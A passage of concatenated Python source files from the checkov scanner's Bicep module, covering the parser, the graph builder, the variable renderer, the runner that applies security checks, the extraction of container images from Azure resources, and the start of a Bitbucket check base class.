definitions_raw[file_path_object][start_line - 1: end_line] definitions_context[file_path][definition_attribute][definition_key] = definition_resource return definitions_context ================================================ FILE: checkov/bicep/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/bicep/graph_builder/graph_components/block_types.py ================================================ from dataclasses import dataclass from typing import Literal from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType BlockTypeAlias: TypeAlias = Literal["targetScope", "param", "var", "resource", "module", "output"] @dataclass class BlockType(CommonBlockType): TARGET_SCOPE: Literal["targetScope"] = "targetScope" PARAM: Literal["param"] = "param" VAR: Literal["var"] = "var" MODULE: Literal["module"] = "module" OUTPUT: Literal["output"] = "output" ================================================ FILE: checkov/bicep/graph_builder/graph_components/blocks.py ================================================ from __future__ import annotations from typing import Any from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_builder.graph_components.blocks import Block class BicepBlock(Block): def __init__( self, name: str, config: dict[str, Any], path: str, block_type: str, attributes: dict[str, Any], id: str = "", ) -> None: super().__init__(name, config, path, block_type, attributes, id, GraphSource.BICEP) ================================================ FILE: checkov/bicep/graph_builder/graph_to_tf_definitions.py ================================================ from __future__ import annotations import os from pathlib import Path from typing import Any, TYPE_CHECKING, cast from checkov.bicep.graph_builder.graph_components.block_types import BlockType, BlockTypeAlias from checkov.bicep.graph_builder.local_graph import BicepElements, BicepElementsAlias if TYPE_CHECKING: from checkov.bicep.graph_builder.graph_components.blocks import BicepBlock from pycep.typing import BicepJson BLOCK_TYPE_TO_BICEP_ELEMENTS_MAP = { BlockType.MODULE: BicepElements.MODULES, BlockType.OUTPUT: BicepElements.OUTPUTS, BlockType.PARAM: BicepElements.PARAMETERS, BlockType.RESOURCE: BicepElements.RESOURCES, BlockType.TARGET_SCOPE: BicepElements.GLOBALS, BlockType.VAR: BicepElements.VARIABLES, } def convert_graph_vertices_to_tf_definitions( vertices: list[BicepBlock], root_folder: str | Path | None ) -> tuple[dict[Path, BicepJson], dict[str, dict[str, Any]]]: tf_definitions: dict[Path, BicepJson] = {} breadcrumbs: dict[str, dict[str, Any]] = {} for vertex in vertices: block_path = Path(vertex.path) # in theory block_type could be any string, but not in a Bicep Graph block_type = cast("BlockTypeAlias", vertex.block_type) bicep_element: BicepElementsAlias = BLOCK_TYPE_TO_BICEP_ELEMENTS_MAP[block_type].value element_name = vertex.name if block_type == BlockType.TARGET_SCOPE: element_name = "scope" tf_definitions.setdefault(block_path, {}).setdefault(bicep_element, {})[element_name] = vertex.config # type:ignore[typeddict-item] if vertex.breadcrumbs: relative_block_path = f"/{os.path.relpath(block_path, root_folder)}" add_breadcrumbs(vertex, breadcrumbs, relative_block_path) return tf_definitions, breadcrumbs def add_breadcrumbs(vertex: BicepBlock, breadcrumbs: dict[str, dict[str, Any]], relative_block_path: str) -> None: breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex.breadcrumbs ================================================ FILE: checkov/bicep/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging from enum import Enum from pathlib import Path from typing import Any, TYPE_CHECKING, overload, Literal from pycep.transformer import BicepElement from typing_extensions import TypeAlias # noqa[TC002] from checkov.bicep.graph_builder.graph_components.block_types import BlockType from checkov.bicep.graph_builder.graph_components.blocks import BicepBlock from checkov.bicep.graph_builder.variable_rendering.renderer import BicepVariableRenderer from checkov.common.graph.graph_builder.graph_components.edge import Edge from checkov.common.graph.graph_builder.local_graph import LocalGraph from checkov.common.graph.graph_builder.utils import filter_sub_keys from checkov.common.graph.graph_builder.utils import adjust_value from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.type_forcers import force_int if TYPE_CHECKING: from checkov.common.graph.graph_builder.graph_components.blocks import Block from pycep.typing import ( BicepJson, ResourceAttributes, GlobalsAttributes, ParameterAttributes, VariableAttributes, OutputAttributes, ModuleAttributes, ) BicepElementsAlias: TypeAlias = Literal["globals", "parameters", "variables", "resources", "modules", "outputs"] # mypy: disable-error-code="misc" class BicepElements(str, Enum): GLOBALS: Literal["globals"] = "globals" PARAMETERS: Literal["parameters"] = "parameters" VARIABLES: Literal["variables"] = "variables" RESOURCES: Literal["resources"] = "resources" MODULES: Literal["modules"] = "modules" OUTPUTS: Literal["outputs"] = "outputs" class BicepLocalGraph(LocalGraph[BicepBlock]): def __init__(self, definitions: dict[Path, BicepJson]) -> None: super().__init__() self.vertices: list[BicepBlock] = [] self.definitions = definitions self.vertices_by_name: dict[str, int] = {} def build_graph(self, render_variables: bool) -> None: self._create_vertices() logging.info(f"[BicepLocalGraph] created {len(self.vertices)} vertices") self._create_edges() logging.info(f"[BicepLocalGraph] created {len(self.edges)} edges") if render_variables: renderer = BicepVariableRenderer(self) renderer.render_variables_from_local_graph() def _create_vertices(self) -> None: for file_path, bicep_conf in self.definitions.items(): self._create_global_vertices(file_path=file_path, globals_attrs=bicep_conf.get(BicepElements.GLOBALS.value)) self._create_param_vertices(file_path=file_path, parameters=bicep_conf.get(BicepElements.PARAMETERS.value)) self._create_var_vertices(file_path=file_path, variables=bicep_conf.get(BicepElements.VARIABLES.value)) self._create_resource_vertices(file_path=file_path, resources=bicep_conf.get(BicepElements.RESOURCES.value)) self._create_module_vertices(file_path=file_path, modules=bicep_conf.get(BicepElements.MODULES.value)) self._create_output_vertices(file_path=file_path, outputs=bicep_conf.get(BicepElements.OUTPUTS.value)) for i, vertex in enumerate(self.vertices): self.vertices_by_block_type[vertex.block_type].append(i) self.vertices_block_name_map[vertex.block_type][vertex.name].append(i) self.vertices_by_name[vertex.name] = i self.in_edges[i] = [] self.out_edges[i] = [] def _create_global_vertices(self, file_path: Path, globals_attrs: GlobalsAttributes | None) -> None: if not globals_attrs: return # there can only be one target scope per file config = pickle_deepcopy(globals_attrs["scope"]) attributes = pickle_deepcopy(config) self.vertices.append( BicepBlock( name=BlockType.TARGET_SCOPE, config=config, # type:ignore[arg-type] path=str(file_path), block_type=BlockType.TARGET_SCOPE, attributes=attributes, # type:ignore[arg-type] id=BlockType.TARGET_SCOPE, ) ) def _create_param_vertices(self, file_path: Path, parameters: dict[str, ParameterAttributes] | None) -> None: if not parameters: return for name, conf in parameters.items(): config = pickle_deepcopy(conf) attributes = pickle_deepcopy(conf) self.vertices.append( BicepBlock( name=name, config=config, # type:ignore[arg-type] path=str(file_path), block_type=BlockType.PARAM, attributes=attributes, # type:ignore[arg-type] id=f"{BlockType.PARAM}.{name}", ) ) def _create_var_vertices(self, file_path: Path, variables: dict[str, VariableAttributes] | None) -> None: if not variables: return for name, conf in variables.items(): config = pickle_deepcopy(conf) attributes = pickle_deepcopy(conf) self.vertices.append( BicepBlock( name=name, config=config, # type:ignore[arg-type] path=str(file_path), block_type=BlockType.VAR, attributes=attributes, # type:ignore[arg-type] id=f"{BlockType.VAR}.{name}", ) ) def _create_resource_vertices(self, file_path: Path, resources: dict[str, ResourceAttributes] | None) -> None: if not resources: return for name, conf in resources.items(): config = pickle_deepcopy(conf) attributes: dict[str, Any] = {} attributes["decorators"] = pickle_deepcopy(config["decorators"]) attributes["type_"] = config["type"] attributes["api_version_"] = config["api_version"] attributes["existing_"] = config["existing"] attributes.update(pickle_deepcopy(config["config"])) attributes["resource_type"] = config["type"] attributes["__start_line__"] = config["__start_line__"] attributes["__end_line__"] = config["__end_line__"] self.vertices.append( BicepBlock( name=name, config=config, # type:ignore[arg-type] path=str(file_path), block_type=BlockType.RESOURCE, attributes=attributes, id=f"{config['type']}.{name}", ) ) def _create_module_vertices(self, file_path: Path, modules: dict[str, ModuleAttributes] | None) -> None: if not modules: return for name, conf in modules.items(): config = pickle_deepcopy(conf) attributes: dict[str, Any] = {} attributes["decorators"] = pickle_deepcopy(config["decorators"]) attributes["type_"] = config["type"] attributes["detail_"] = config["detail"] attributes.update(pickle_deepcopy(config["config"])) attributes["resource_type"] = config["type"] attributes["__start_line__"] = config["__start_line__"] attributes["__end_line__"] = config["__end_line__"] self.vertices.append( BicepBlock( name=str(name), # this will be fixed in pycep with the next version, currently type Token config=config, # type:ignore[arg-type] path=str(file_path), block_type=BlockType.MODULE, attributes=attributes, id=f"{config['type']}.{name}", ) ) def _create_output_vertices(self, file_path: Path, outputs: dict[str, OutputAttributes] | None) -> None: if not outputs: return for name, conf in outputs.items(): config = pickle_deepcopy(conf) attributes = pickle_deepcopy(conf) self.vertices.append( BicepBlock( name=name, config=config, # type:ignore[arg-type] path=str(file_path), block_type=BlockType.OUTPUT, attributes=attributes, # type:ignore[arg-type] id=f"{BlockType.OUTPUT}.{name}", ) ) def _create_edges(self) -> None: # TODO: support connections in interpolated strings for origin_vertex_index, vertex in enumerate(self.vertices): for attr_key, attr_value in vertex.attributes.items(): if isinstance(attr_value, BicepElement): self._create_edge( element_name=attr_value, origin_vertex_index=origin_vertex_index, label=attr_key, ) if isinstance(attr_value, list): for list_value in attr_value: if isinstance(list_value, BicepElement): self._create_edge( element_name=list_value, origin_vertex_index=origin_vertex_index, label=attr_key, ) def _create_edge(self, element_name: str, origin_vertex_index: int, label: str) -> None: vertex_name = element_name if "." in vertex_name: # special case for`bicep elements, when properties are accessed vertex_name = vertex_name.split(".")[0] dest_vertex_index = self.vertices_by_name.get(vertex_name) if dest_vertex_index: if origin_vertex_index == dest_vertex_index: return edge = Edge(origin_vertex_index, dest_vertex_index, label) self.edges.append(edge) self.out_edges[origin_vertex_index].append(edge) self.in_edges[dest_vertex_index].append(edge) def update_vertices_configs(self) -> None: for vertex in self.vertices: changed_attributes = list(vertex.changed_attributes.keys()) changed_attributes = filter_sub_keys(changed_attributes) self.update_vertex_config(vertex, changed_attributes) @staticmethod def update_vertex_config(vertex: Block, changed_attributes: list[str] | dict[str, Any], dynamic_blocks: bool = False) -> None: if not changed_attributes: # skip, if there is no change return for attr in changed_attributes: new_value = vertex.attributes.get(attr, None) if vertex.block_type == BlockType.RESOURCE: BicepLocalGraph.update_config_attribute( config=vertex.config["config"], key_to_update=attr, new_value=new_value ) @staticmethod def update_config_attribute(config: list[Any] | dict[str, Any], key_to_update: str, new_value: Any) -> None: key_parts = key_to_update.split(".") if isinstance(config, dict): key = key_parts[0] if len(key_parts) == 1: BicepLocalGraph.update_config_value(config=config, key=key, new_value=new_value) return else: key, key_parts = BicepLocalGraph.adjust_key(config, key, key_parts) if len(key_parts) == 1: BicepLocalGraph.update_config_value(config=config, key=key, new_value=new_value) return BicepLocalGraph.update_config_attribute(config[key], ".".join(key_parts[1:]), new_value) elif isinstance(config, list): key_idx = force_int(key_parts[0]) if key_idx is None: return if len(key_parts) == 1: BicepLocalGraph.update_config_value(config=config, key=key_idx, new_value=new_value) return else: BicepLocalGraph.update_config_attribute(config[key_idx], ".".join(key_parts[1:]), new_value) return @overload @staticmethod def update_config_value(config: list[Any], key: int, new_value: Any) -> None: ... @overload @staticmethod def update_config_value(config: dict[str, Any], key: str, new_value: Any) -> None: ... @staticmethod def update_config_value(config: list[Any] | dict[str, Any], key: int | str, new_value: Any) -> None: new_value = adjust_value(config[key], new_value) # type:ignore[index] if new_value is None: # couldn't find key in in value object return config[key] = new_value # type:ignore[index] @staticmethod def adjust_key(config: dict[str, Any], key: str, key_parts: list[str]) -> tuple[str, list[str]]: """Adjusts the key, if it consists of multiple dots Ex: config = {"'container.registry'": "acrName"} key = "'container" key_parts = ["'container", "registry'"] returns new_key = "'container.registry'" new_key_parts = ["'container.registry'"] """ if key not in config: if len(key_parts) >= 2: new_key = ".".join(key_parts[:2]) new_key_parts = [new_key] + key_parts[2:] return BicepLocalGraph.adjust_key(config, new_key, new_key_parts) return key, key_parts def get_resources_types_in_graph(self) -> list[str]: return [] ================================================ FILE: checkov/bicep/graph_builder/variable_rendering/__init__.py ================================================ ================================================ FILE: checkov/bicep/graph_builder/variable_rendering/renderer.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from pycep.transformer import BicepElement from checkov.bicep.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.utils import adjust_value from checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer from checkov.common.util.data_structures_utils import pickle_deepcopy if TYPE_CHECKING: from checkov.bicep.graph_builder.local_graph import BicepLocalGraph class BicepVariableRenderer(VariableRenderer["BicepLocalGraph"]): def __init__(self, local_graph: BicepLocalGraph) -> None: super().__init__(local_graph) def _render_variables_from_vertices(self) -> None: pass def evaluate_vertex_attribute_from_edge(self, edge_list: list[Edge]) -> None: edge = edge_list[0] origin_vertex_attributes = self.local_graph.vertices[edge.origin].attributes val_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge.label, "")) attr_path, attr_value = self.extract_dest_attribute_path_and_value(dest_index=edge.dest, origin_value=val_to_eval) if attr_path: self.local_graph.update_vertex_attribute( vertex_index=edge.origin, attribute_key=edge.label, attribute_value=attr_value, change_origin_id=edge.dest, attribute_at_dest=attr_path, ) def extract_dest_attribute_path_and_value(self, dest_index: int, origin_value: Any) -> tuple[str, Any] | tuple[None, None]: if isinstance(origin_value, BicepElement): vertex = self.local_graph.vertices[dest_index] if vertex.block_type == BlockType.PARAM: new_value = vertex.attributes.get("default") if new_value: new_value = adjust_value(element_name=origin_value, value=new_value) return "default", new_value elif vertex.block_type == BlockType.VAR: new_value = adjust_value(element_name=origin_value, value=vertex.attributes["value"]) return "value", new_value return None, None def evaluate_non_rendered_values(self) -> None: # not used pass ================================================ FILE: checkov/bicep/graph_manager.py ================================================ from __future__ import annotations from pathlib import Path from typing import TYPE_CHECKING, Any, Optional from checkov.bicep.parser import Parser from checkov.bicep.utils import get_scannable_file_paths from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_manager import GraphManager from checkov.bicep.graph_builder.local_graph import BicepLocalGraph if TYPE_CHECKING: from checkov.common.typing import LibraryGraphConnector from pycep.typing import BicepJson class BicepGraphManager(GraphManager[BicepLocalGraph, "dict[Path, BicepJson]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.BICEP) -> None: super().__init__(db_connector=db_connector, parser=None, source=source) def build_graph_from_source_directory( self, source_dir: str, local_graph_class: type[BicepLocalGraph] = BicepLocalGraph, render_variables: bool = True, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, **kwargs: Any, ) -> tuple[BicepLocalGraph, dict[Path, BicepJson]]: file_paths = get_scannable_file_paths(root_folder=source_dir) definitions, definitions_raw, parsing_errors = Parser().get_files_definitions(file_paths) # type:ignore[assignment] local_graph = self.build_graph_from_definitions(definitions) return local_graph, definitions def build_graph_from_definitions( self, definitions: dict[Path, BicepJson], render_variables: bool = True ) -> BicepLocalGraph: local_graph = BicepLocalGraph(definitions) local_graph.build_graph(render_variables) return local_graph ================================================ FILE: checkov/bicep/image_referencer/__init__.py ================================================ ================================================ FILE: checkov/bicep/image_referencer/base_provider.py ================================================ from __future__ import annotations import os from checkov.bicep.utils import BICEP_START_LINE, BICEP_END_LINE from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider from checkov.common.images.image_referencer import Image from checkov.common.util.str_utils import removeprefix class BaseBicepProvider(GraphImageReferencerProvider): def extract_images_from_resources(self) -> list[Image]: images = [] supported_resources_graph = self.extract_nodes() for resource in self.extract_resource(supported_resources_graph): image_names: list[str] = [] resource_type = resource[CustomAttributes.RESOURCE_TYPE] extract_images_func = self.supported_resource_types.get(resource_type) if extract_images_func: image_names.extend(extract_images_func(resource)) for name in image_names: images.append( Image( file_path=resource[CustomAttributes.FILE_PATH], name=name, start_line=resource[BICEP_START_LINE], end_line=resource[BICEP_END_LINE], related_resource_id=f'{removeprefix(resource.get("file_path_", ""), os.getenv("BC_ROOT_DIR", ""))}:{resource.get("id_")}', ) ) return images ================================================ FILE: checkov/bicep/image_referencer/manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.bicep.image_referencer.provider.azure import AzureBicepProvider from checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class BicepImageReferencerManager(GraphImageReferencerManager): def extract_images_from_resources(self) -> list[Image]: bicep_provider = AzureBicepProvider(graph_connector=self.graph_connector) images = bicep_provider.extract_images_from_resources() return images ================================================ FILE: checkov/bicep/image_referencer/provider/__init__.py ================================================ ================================================ FILE: checkov/bicep/image_referencer/provider/azure.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.bicep.image_referencer.base_provider import BaseBicepProvider from checkov.common.util.data_structures_utils import find_in_dict from checkov.common.util.type_forcers import force_list if TYPE_CHECKING: from networkx import DiGraph class AzureBicepProvider(BaseBicepProvider): def __init__(self, graph_connector: DiGraph) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_AZURE_IMAGE_RESOURCE_TYPES, ) def extract_images_from_azurerm_batch_pool(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] containers = find_in_dict( input_dict=resource, key_path="properties/virtualMachineConfiguration/containerConfiguration/containerImageNames", ) if isinstance(containers, list): image_names.extend(container for container in containers if isinstance(container, str)) return image_names def extract_images_from_azurerm_container_group(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] properties = resource.get("properties") if properties and isinstance(properties, dict): containers = properties.get("containers") if containers: for container in force_list(containers): name = find_in_dict(input_dict=container, key_path="properties/image") if name and isinstance(name, str): image_names.append(name) containers = properties.get("initContainers") if containers: for container in force_list(containers): name = find_in_dict(input_dict=container, key_path="properties/image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_azurerm_web_app(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] containers = find_in_dict(input_dict=resource, key_path="properties/template/containers") if containers: for container in force_list(containers): name = container.get("image") if name and isinstance(name, str): image_names.append(name) return image_names # needs to be at the bottom to add the defined functions SUPPORTED_AZURE_IMAGE_RESOURCE_TYPES = { "Microsoft.App/containerApps": extract_images_from_azurerm_web_app, "Microsoft.Batch/batchAccounts/pools": extract_images_from_azurerm_batch_pool, "Microsoft.ContainerInstance/containerGroups": extract_images_from_azurerm_container_group, "Microsoft.Web/containerApps": extract_images_from_azurerm_web_app, } ================================================ FILE: checkov/bicep/parser.py ================================================ from __future__ import annotations import logging import os from collections.abc import Collection from pathlib import Path from typing import TYPE_CHECKING from pycep import BicepParser from checkov.common.util.file_utils import read_file_with_any_encoding if TYPE_CHECKING: from pycep.typing import BicepJson class Parser: def __init__(self) -> None: self.bicep_parser = BicepParser(add_line_numbers=True) def parse(self, file_path: Path) -> tuple[BicepJson, list[tuple[int, str]]] | tuple[None, None]: try: content = read_file_with_any_encoding(file_path=file_path) template = self.bicep_parser.parse(text=content) except Exception: logging.debug(f"[bicep] Couldn't parse {file_path}", exc_info=True) return None, None file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] return template, file_lines def get_files_definitions( self, file_paths: "Collection[Path]" ) -> tuple[dict[Path, BicepJson], dict[Path, list[tuple[int, str]]], list[str]]: logging.info(f"[bicep] start to parse {len(file_paths)} files") definitions: dict[Path, BicepJson] = {} definitions_raw: dict[Path, list[tuple[int, str]]] = {} parsing_errors: list[str] = [] for file_path in file_paths: template, file_lines = self.parse(file_path) if template and file_lines: definitions[file_path] = template definitions_raw[file_path] = file_lines else: parsing_errors.append(os.path.normpath(file_path.absolute())) logging.info(f"[bicep] successfully parsed {len(definitions)} files") return definitions, definitions_raw, parsing_errors ================================================ FILE: checkov/bicep/runner.py ================================================ from __future__ import annotations import os import logging from pathlib import Path from typing import cast, Type, TYPE_CHECKING, Any, Literal from typing_extensions import TypeAlias # noqa[TC002] from checkov.bicep.graph_builder.context_definitions import build_definitions_context from checkov.bicep.checks.param.registry import registry as param_registry from checkov.bicep.checks.resource.registry import registry as resource_registry from checkov.bicep.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions from checkov.bicep.graph_builder.local_graph import BicepLocalGraph from checkov.bicep.graph_manager import BicepGraphManager from checkov.bicep.image_referencer.manager import BicepImageReferencerManager from checkov.bicep.parser import Parser from checkov.bicep.utils import clean_file_path, get_scannable_file_paths from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.typing import LibraryGraphConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.images.image_referencer import ImageReferencerMixin from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.graph_record import GraphRecord from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.base_runner import BaseRunner from checkov.common.typing import _CheckResult from checkov.common.util.secrets import omit_secret_value_from_checks from checkov.common.util.suppression import collect_suppressions_for_report from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.checks_infra.registry import Registry from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.images.image_referencer import Image from networkx import DiGraph from pycep.typing import BicepJson _BicepContext: TypeAlias = "dict[str, dict[str, Any]]" _BicepDefinitions: TypeAlias = "dict[Path, BicepJson]" class Runner(ImageReferencerMixin[None], BaseRunner[_BicepDefinitions, _BicepContext, BicepGraphManager]): check_type = CheckType.BICEP # noqa: CCE003 # a static attribute block_type_registries: 'dict[Literal["parameters", "resources"], BaseCheckRegistry]' = { # noqa: CCE003 # a static attribute "parameters": param_registry, "resources": resource_registry, } def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.BICEP, graph_class: Type[BicepLocalGraph] = BicepLocalGraph, graph_manager: BicepGraphManager | None = None, external_registries: list[BaseRegistry] | None = None ) -> None: super().__init__(file_extensions=['.bicep']) db_connector = db_connector or self.db_connector self.external_registries = external_registries if external_registries else [] self.graph_class = graph_class self.graph_manager: BicepGraphManager = ( graph_manager if graph_manager else BicepGraphManager(source=source, db_connector=db_connector) ) self.graph_registry: Registry = get_graph_checks_registry(self.check_type) self.context: _BicepContext = {} self.definitions: _BicepDefinitions = {} self.definitions_raw: dict[Path, list[tuple[int, str]]] = {} # type:ignore[assignment] self.root_folder: str | Path | None = None def run( self, root_folder: str | Path | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(Runner.check_type) self.root_folder = root_folder if not self.context or not self.definitions: file_paths = get_scannable_file_paths( root_folder=root_folder, files=files, excluded_paths=runner_filter.excluded_paths ) if not file_paths: return report self.definitions, self.definitions_raw, parsing_errors = Parser().get_files_definitions(file_paths) report.add_parsing_errors(parsing_errors) if external_checks_dir: for directory in external_checks_dir: resource_registry.load_external_checks(directory) self.graph_registry.load_external_checks(directory) self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw) logging.info("Creating Bicep graph") local_graph = self.graph_manager.build_graph_from_definitions(self.definitions) logging.info("Successfully created Bicep graph") self.graph_manager.save_graph(local_graph) self.definitions, self.breadcrumbs = convert_graph_vertices_to_tf_definitions( vertices=local_graph.vertices, root_folder=root_folder ) self.pbar.initiate(len(self.definitions)) # run Python checks self.add_python_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder) # run graph checks self.add_graph_check_results(report=report, runner_filter=runner_filter) if runner_filter.run_image_referencer: if files: # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form root_folder = os.path.split(os.path.commonprefix(files))[0] image_report = self.check_container_image_references( graph_connector=self.graph_manager.get_reader_endpoint(), root_path=root_folder, runner_filter=runner_filter, ) if image_report: # due too many tests failing only return a list, if there is an image report return [report, image_report] return report def set_definitions_raw(self, definitions_raw: dict[Path, list[tuple[int, str]]]) -> None: self.definitions_raw = definitions_raw def add_python_check_results( self, report: Report, runner_filter: RunnerFilter, root_folder: str | Path | None ) -> None: """Adds Python check results to given report""" for file_path, definition in self.definitions.items(): self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file_path, root_folder)}) for block_type, registry in Runner.block_type_registries.items(): block_type_confs = definition.get(block_type) if block_type_confs: for name, conf in block_type_confs.items(): results = registry.scan( scanned_file=str(file_path), entity={name: conf}, skipped_checks=[], runner_filter=runner_filter ) if results: file_code_lines = self.definitions_raw[file_path] start_line = conf["__start_line__"] end_line = conf["__end_line__"] cleaned_path = clean_file_path(file_path) resource_id = f"{conf['type']}.{name}" report.add_resource(f"{cleaned_path}:{resource_id}") suppressions = collect_suppressions_for_report( code_lines=file_code_lines[start_line - 1 : end_line] ) for check, check_result in results.items(): if check.id in suppressions.keys(): check_result = suppressions[check.id] elif check.bc_id and check.bc_id in suppressions.keys(): check_result = suppressions[check.bc_id] censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=file_code_lines[start_line - 1 : end_line], entity_config=conf, resource_attributes_to_omit=runner_filter.resource_attr_to_omit ) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=self.extract_file_path_from_abs_path(cleaned_path), file_line_range=[start_line, end_line], resource=resource_id, check_class=check.__class__.__module__, file_abs_path=str(file_path.absolute()), evaluations=None, severity=check.severity, ) record.set_guideline(check.guideline) report.add_record(record=record) elif conf.get("existing") is False: # resources without checks, but not existing ones cleaned_path = clean_file_path(file_path) resource_id = f"{conf['type']}.{name}" report.extra_resources.add( ExtraResource( file_abs_path=str(file_path.absolute()), file_path=self.extract_file_path_from_abs_path(cleaned_path), resource=resource_id, ) ) self.pbar.update() self.pbar.close() def extract_file_path_from_abs_path(self, path: Path) -> str: return f"/{os.path.relpath(path, self.root_folder)}" def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter) -> None: """Adds YAML check results to given report""" checks_results = self.run_graph_checks_results(runner_filter, self.check_type) for check, check_results in checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_file_path = Path(entity[CustomAttributes.FILE_PATH]) clean_check_result: _CheckResult = { "result": check_result["result"], "evaluated_keys": check_result["evaluated_keys"], } file_code_lines = self.definitions_raw[entity_file_path] start_line = entity["__start_line__"] end_line = cast("int", entity["__end_line__"]) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=clean_check_result, code_block=file_code_lines[start_line - 1 : end_line], file_path=self.extract_file_path_from_abs_path(clean_file_path(entity_file_path)), file_line_range=[start_line, end_line], resource=entity[CustomAttributes.ID], check_class=check.__class__.__module__, file_abs_path=str(entity_file_path.absolute()), evaluations=None, severity=check.severity, ) if self.breadcrumbs: breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource) if breadcrumb: record = GraphRecord(record, breadcrumb) record.set_guideline(check.guideline) report.add_record(record=record) def extract_images( self, graph_connector: DiGraph | None = None, definitions: None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None, ) -> list[Image]: if not graph_connector: # should not happen return [] manager = BicepImageReferencerManager(graph_connector=graph_connector) images = manager.extract_images_from_resources() return images ================================================ FILE: checkov/bicep/utils.py ================================================ from __future__ import annotations import logging import os import re from collections.abc import Collection from pathlib import Path from typing import TYPE_CHECKING from checkov.common.runners.base_runner import filter_ignored_paths from checkov.runner_filter import RunnerFilter from checkov.bicep.parser import Parser if TYPE_CHECKING: from pycep.typing import BicepJson BICEP_POSSIBLE_ENDINGS = [".bicep"] BICEP_START_LINE = "__start_line__" BICEP_END_LINE = "__end_line__" def get_scannable_file_paths( root_folder: str | Path | None = None, files: list[str] | None = None, excluded_paths: list[str] | None = None ) -> set[Path]: """Finds Bicep files""" file_paths: set[Path] = set() if root_folder: root_path = Path(root_folder) file_paths = {file_path for file_path in root_path.rglob("*.bicep") if file_path.is_file()} if excluded_paths: compiled = [re.compile(p.replace(".terraform", r"\.terraform")) for p in excluded_paths] file_paths = { file_path for file_path in file_paths if not any(pattern.search(str(file_path)) for pattern in compiled) } if files: for file in files: if file.endswith(".bicep"): file_paths.add(Path(file)) return file_paths def clean_file_path(file_path: Path) -> Path: path_parts = [part for part in file_path.parts if part not in (".", "..")] return Path(*path_parts) def get_folder_definitions( root_folder: str, excluded_paths: list[str] | None ) -> tuple[dict[Path, BicepJson], dict[Path, list[tuple[int, str]]], list[str]]: files_list: set[Path] = set() for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) for file in f_names: file_ending = os.path.splitext(file)[1] if file_ending in BICEP_POSSIBLE_ENDINGS: full_path = os.path.join(root, file) files_list.add(Path(full_path)) parser = Parser() return parser.get_files_definitions(files_list) def create_definitions( root_folder: str, files: "Collection[Path] | None" = None, runner_filter: RunnerFilter | None = None, ) -> tuple[dict[Path, BicepJson], dict[Path, list[tuple[int, str]]]]: definitions: dict[Path, BicepJson] = {} definitions_raw: dict[Path, list[tuple[int, str]]] = {} parsing_errors: list[str] = [] runner_filter = runner_filter or RunnerFilter() if files: parser = Parser() definitions, definitions_raw, parsing_errors = parser.get_files_definitions(file_paths=files) if root_folder: definitions, definitions_raw, parsing_errors = get_folder_definitions(root_folder, runner_filter.excluded_paths) if parsing_errors: logging.warning(f"[bicep] found errors while parsing definitions: {parsing_errors}") return definitions, definitions_raw ================================================ FILE: checkov/bitbucket/__init__.py ================================================ from checkov.bitbucket.checks import * # noqa ================================================ FILE: checkov/bitbucket/base_bitbucket_configuration_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.bitbucket.registry import registry from checkov.common.checks.base_check import BaseCheck if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseBitbucketCheck(BaseCheck): def __init__( self, name: str, id: str, 